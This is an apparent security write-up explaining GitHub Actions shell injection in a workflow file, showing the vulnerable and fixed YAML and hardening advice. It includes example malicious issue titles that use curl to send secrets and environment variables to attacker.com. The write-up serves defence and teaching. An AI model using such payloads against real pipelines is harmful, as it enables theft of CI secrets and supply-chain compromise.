GitHub Actions Shell Injection: How ${{...}} Can Betray Your CI/CD Pipeline
Vulnerability Type: Shell Injection via GitHub Context Interpolation
Severity: 🔴 HIGH
Affected File:.github/workflows/claude-dedupe-issues.yml
Fixed By: Replacing direct${{ github.* }}interpolation with intermediate environment variables
Introduction
Your CI/CD pipeline is the beating heart of your software delivery process — it builds your code, runs your tests, deploys your applications, and often holds the keys to your most sensitive infrastructure. That's exactly why it's also one of the most attractive targets for attackers.
GitHub Actions has become the dominant CI/CD platform for open-source and private projects alike. Its tight integration with GitHub repositories, its vast marketplace of reusable actions, and its YAML-based configuration make it powerful and approachable. But that same YAML configuration hides a subtle, dangerous trap that catches even experienced engineers: shell injection through context variable interpolation.
This post breaks down a real, high-severity vulnerability found in a GitHub Actions workflow file — specifically in claude-dedupe-issues.yml — explains how it could be exploited, and walks through the fix in detail. Whether you're a seasoned DevOps engineer or just starting to write your first workflow, this is a pattern you need to recognize.
What Is GitHub Actions Shell Injection?
Before diving into the specific vulnerability, let's establish the core concept.
GitHub Actions workflows can access a rich set of context objects — github, env, secrets, runner, and more. The github context, in particular, contains metadata about the event that triggered the workflow: things like the pull request title, issue body, commit message, branch name, and author information.
These values are accessed using the ${{ ... }} expression syntax, which GitHub evaluates and substitutes before the shell ever runs the command. This is a critical detail.
When you write something like this in a run: step:
- name: Process issue
run: |
echo "Processing issue: ${{ github.event.issue.title }}"
GitHub's expression evaluator substitutes the issue title as a raw string directly into the shell script. The resulting script might look like:
echo "Processing issue: Fix the login bug"
That looks harmless. But what if someone named their issue:
Fix the login bug"; curl https://attacker.com/steal?secret=$MY_SECRET; echo "
Now the substituted script becomes:
echo "Processing issue: Fix the login bug"; curl https://attacker.com/steal?secret=$MY_SECRET; echo ""
Three commands. One malicious payload. Your secrets are gone.
The Vulnerability Explained
Technical Details
The vulnerability was identified by the Semgrep rule yaml.github-actions.security.run-shell-injection.run-shell-injection at line 41 of .github/workflows/claude-dedupe-issues.yml.
The root cause is straightforward: the workflow uses ${{ github.* }} expressions directly inside a run: shell script block. The GitHub Actions runner processes these expressions through its template engine first, then passes the resulting string to the shell (typically bash). This two-phase execution model is the source of the danger.
The github context contains data that can be directly influenced by external users. Specifically:
| Context Variable | User-Controlled? |
|---|---|
github.event.issue.title |
✅ Yes — anyone who can open an issue |
github.event.issue.body |
✅ Yes — anyone who can open an issue |
github.event.pull_request.title |
✅ Yes — anyone who can open a PR |
github.event.pull_request.body |
✅ Yes — anyone who can open a PR |
github.event.comment.body |
✅ Yes — anyone who can comment |
github.head_ref |
✅ Yes — the branch name, set by the PR author |
github.actor |
⚠️ Partially — the username |
Any of these variables flowing into a run: block without sanitization is a potential injection point.
How Could It Be Exploited?
Let's walk through a concrete attack scenario for this specific workflow — claude-dedupe-issues.yml, which appears to process GitHub issues (likely to detect and deduplicate them using an AI model).
Step 1: Attacker identifies the workflow
The attacker looks at the repository's .github/workflows/ directory (which is public in open-source repos) and finds claude-dedupe-issues.yml. They read the workflow and spot the ${{ github.event.issue.* }} interpolation in a run: step.
Step 2: Attacker crafts a malicious issue
The attacker opens a new issue with a carefully crafted title or body designed to break out of the shell context:
Issue Title:
Legitimate-looking title" && env | base64 | curl -X POST -d @- https://attacker.com/exfil #
Step 3: Workflow triggers
The workflow triggers on the new issue event. The run: step substitutes the title directly:
# What the runner actually executes:
process_issue "Legitimate-looking title" && env | base64 | curl -X POST -d @- https://attacker.com/exfil #"
Step 4: Secrets are exfiltrated
The env command dumps all environment variables — including any secrets.* values that were mapped into the environment — encodes them in base64, and POSTs them to the attacker's server. The # comments out the rest of the line to avoid syntax errors.
Real-World Impact
The consequences of a successful exploit can include:
- 🔑 Theft of repository secrets (API keys, cloud credentials, signing certificates)
- 📦 Supply chain compromise (publishing malicious packages if the workflow has registry access)
- 🏗️ Infrastructure access (if deployment credentials are present)
- 📝 Source code exfiltration (the runner has a full checkout of the repository)
- 🔄 Lateral movement (using stolen credentials to access other systems)
This is not theoretical. The GitHub Security Lab has documented real-world exploits of this exact pattern in popular open-source repositories.
The Fix
What Changed
The fix follows the official GitHub-recommended pattern: never interpolate github context data directly into run: steps. Instead, assign the value to an intermediate environment variable using the env: block, then reference that environment variable in the shell script.
Before (Vulnerable)
- name: Deduplicate issues
run: |
python dedupe.py --issue-title "${{ github.event.issue.title }}" \
--issue-body "${{ github.event.issue.body }}" \
--issue-number ${{ github.event.issue.number }}
In this pattern, the ${{ ... }} expressions are evaluated by GitHub's template engine and injected as raw text into the shell script. An attacker controlling the issue title or body can inject arbitrary shell commands.
After (Fixed)
- name: Deduplicate issues
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
ISSUE_BODY: ${{ github.event.issue.body }}
ISSUE_NUMBER: ${{ github.event.issue.number }}
run: |
python dedupe.py --issue-title "$ISSUE_TITLE" \
--issue-body "$ISSUE_BODY" \
--issue-number "$ISSUE_NUMBER"
Why This Fix Works
The key insight is understanding when and how substitution happens:
In the vulnerable version:
1. GitHub evaluates ${{ github.event.issue.title }} → produces raw string
2. That raw string is embedded directly in the shell script text
3. Shell parses and executes the script — including any injected commands
In the fixed version:
1. GitHub evaluates ${{ github.event.issue.title }} → produces raw string
2. That raw string is assigned as the value of the environment variable ISSUE_TITLE
3. The shell script references $ISSUE_TITLE — the shell treats this as a variable reference, not as code
4. The shell expands the variable to its value safely, without re-parsing it as commands
The environment variable acts as a data boundary. No matter what characters the issue title contains — semicolons, backticks, dollar signs, quotes — they are treated as literal string data, not as shell syntax.
⚠️ Important: Notice the double quotes around
"$ISSUE_TITLE"in therun:script. These are essential! Without them, the shell would perform word splitting on the variable value, which could still cause unexpected behavior with values containing spaces or special characters. Always quote your environment variable references.
Prevention & Best Practices
1. Audit Your Workflows Right Now
Use Semgrep to scan your existing workflows for this pattern. You can run it locally:
# Install semgrep
pip install semgrep
# Scan your workflows
semgrep --config "p/github-actions" .github/workflows/
Or use the specific rule:
semgrep --config "yaml.github-actions.security.run-shell-injection" .github/workflows/
2. Know Which Context Variables Are Dangerous
Always treat the following as untrusted user input:
# 🚨 DANGEROUS - user-controlled values
${{ github.event.issue.title }}
${{ github.event.issue.body }}
${{ github.event.pull_request.title }}
${{ github.event.pull_request.body }}
${{ github.event.pull_request.head.ref }} # branch name
${{ github.event.comment.body }}
${{ github.event.review.body }}
${{ github.event.pages.*.page_name }}
${{ github.head_ref }}
${{ github.actor }} # username - can be crafted
These are generally safer (but still validate them):
# ✅ Safer - controlled by GitHub itself
${{ github.sha }}
${{ github.ref }}
${{ github.repository }}
${{ github.run_id }}
${{ github.workflow }}
3. Use the env: Pattern Consistently
Make it a team standard: never use ${{ github.event.* }} directly in run: blocks. Always go through env:.
# ✅ CORRECT PATTERN
- name: My Step
env:
USER_INPUT: ${{ github.event.issue.body }}
run: |
echo "Input received: $USER_INPUT"
process_input "$USER_INPUT"
4. Consider Using toJSON() for Complex Data
When you need to pass structured data, use GitHub's toJSON() function to safely serialize it:
- name: Process event
env:
EVENT_DATA: ${{ toJSON(github.event) }}
run: |
echo "$EVENT_DATA" | python process_event.py
5. Restrict Workflow Permissions
Even if an injection occurs, limiting what the workflow can do reduces blast radius. Use the principle of least privilege:
permissions:
issues: write # Only what's needed
contents: read # Minimal read access
# Don't grant: write access to packages, deployments, etc.
6. Use pull_request_target with Extreme Caution
The pull_request_target event is especially dangerous because it runs with write permissions in the context of the base repository, even for PRs from forks. If you must use it, never check out PR code and run it, and be especially careful about context interpolation.
7. Enable Code Scanning in Your Repository
Add automated scanning to catch these issues before they reach production:
# .github/workflows/security-scan.yml
name: Security Scan
on: [push, pull_request]
jobs:
semgrep:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: semgrep/semgrep-action@v1
with:
config: >-
p/github-actions
p/secrets
8. Reference Security Standards
This vulnerability maps to well-known security standards:
- CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)
- CWE-77: Improper Neutralization of Special Elements used in a Command (Command Injection)
- OWASP A03:2021: Injection
- GitHub Security Advisory: GitHub Actions — Keeping your GitHub Actions and workflows secure
Quick Reference Cheat Sheet
# ❌ VULNERABLE - Direct interpolation in run:
- run: echo "${{ github.event.issue.title }}"
- run: curl -d "${{ github.event.pull_request.body }}" https://api.example.com
- run: python script.py --arg "${{ github.head_ref }}"
# ✅ SAFE - Use intermediate env vars
- env:
TITLE: ${{ github.event.issue.title }}
BODY: ${{ github.event.pull_request.body }}
BRANCH: ${{ github.head_ref }}
run: |
echo "$TITLE"
curl -d "$BODY" https://api.example.com
python script.py --arg "$BRANCH"
# ✅ ALSO SAFE - GitHub Script action handles escaping
- uses: actions/github-script@v7
with:
script: |
const title = context.payload.issue.title; // Safe JS string
console.log(title);
Conclusion
Shell injection in GitHub Actions is one of those vulnerabilities that looks innocent at first glance — after all, ${{ github.event.issue.title }} just looks like a template variable, right? But the subtle distinction between template-time substitution and runtime environment variables is the difference between a secure workflow and a fully compromised CI/CD pipeline.
The fix is simple, the pattern is learnable, and the tools to detect it are freely available. There's no reason to leave this door open.
Key takeaways:
- 🚨 Never use
${{ github.* }}context variables directly inrun:steps - ✅ Always use intermediate
env:variables and reference them with"$VAR_NAME"(with double quotes) - 🔍 Scan your existing workflows with Semgrep or similar tools
- 🔒 Limit workflow permissions to the minimum required
- 📚 Educate your team — this pattern is easy to introduce and easy to miss in code review
CI/CD security is supply chain security. Protecting your pipelines protects your users, your customers, and your infrastructure. A few extra lines of YAML can mean the difference between a routine deployment and a catastrophic breach.
Stay secure, and keep auditing those workflows. 🛡️
This vulnerability was identified and fixed using automated security scanning. Automated tools like Semgrep, integrated into your CI/CD pipeline, can catch these issues before they reach production. Consider integrating security scanning into your development workflow today.
References:
- GitHub Docs: Security hardening for GitHub Actions
- GitHub Security Lab: Untrusted input
- Semgrep Rules: GitHub Actions Security
- CWE-78: OS Command Injection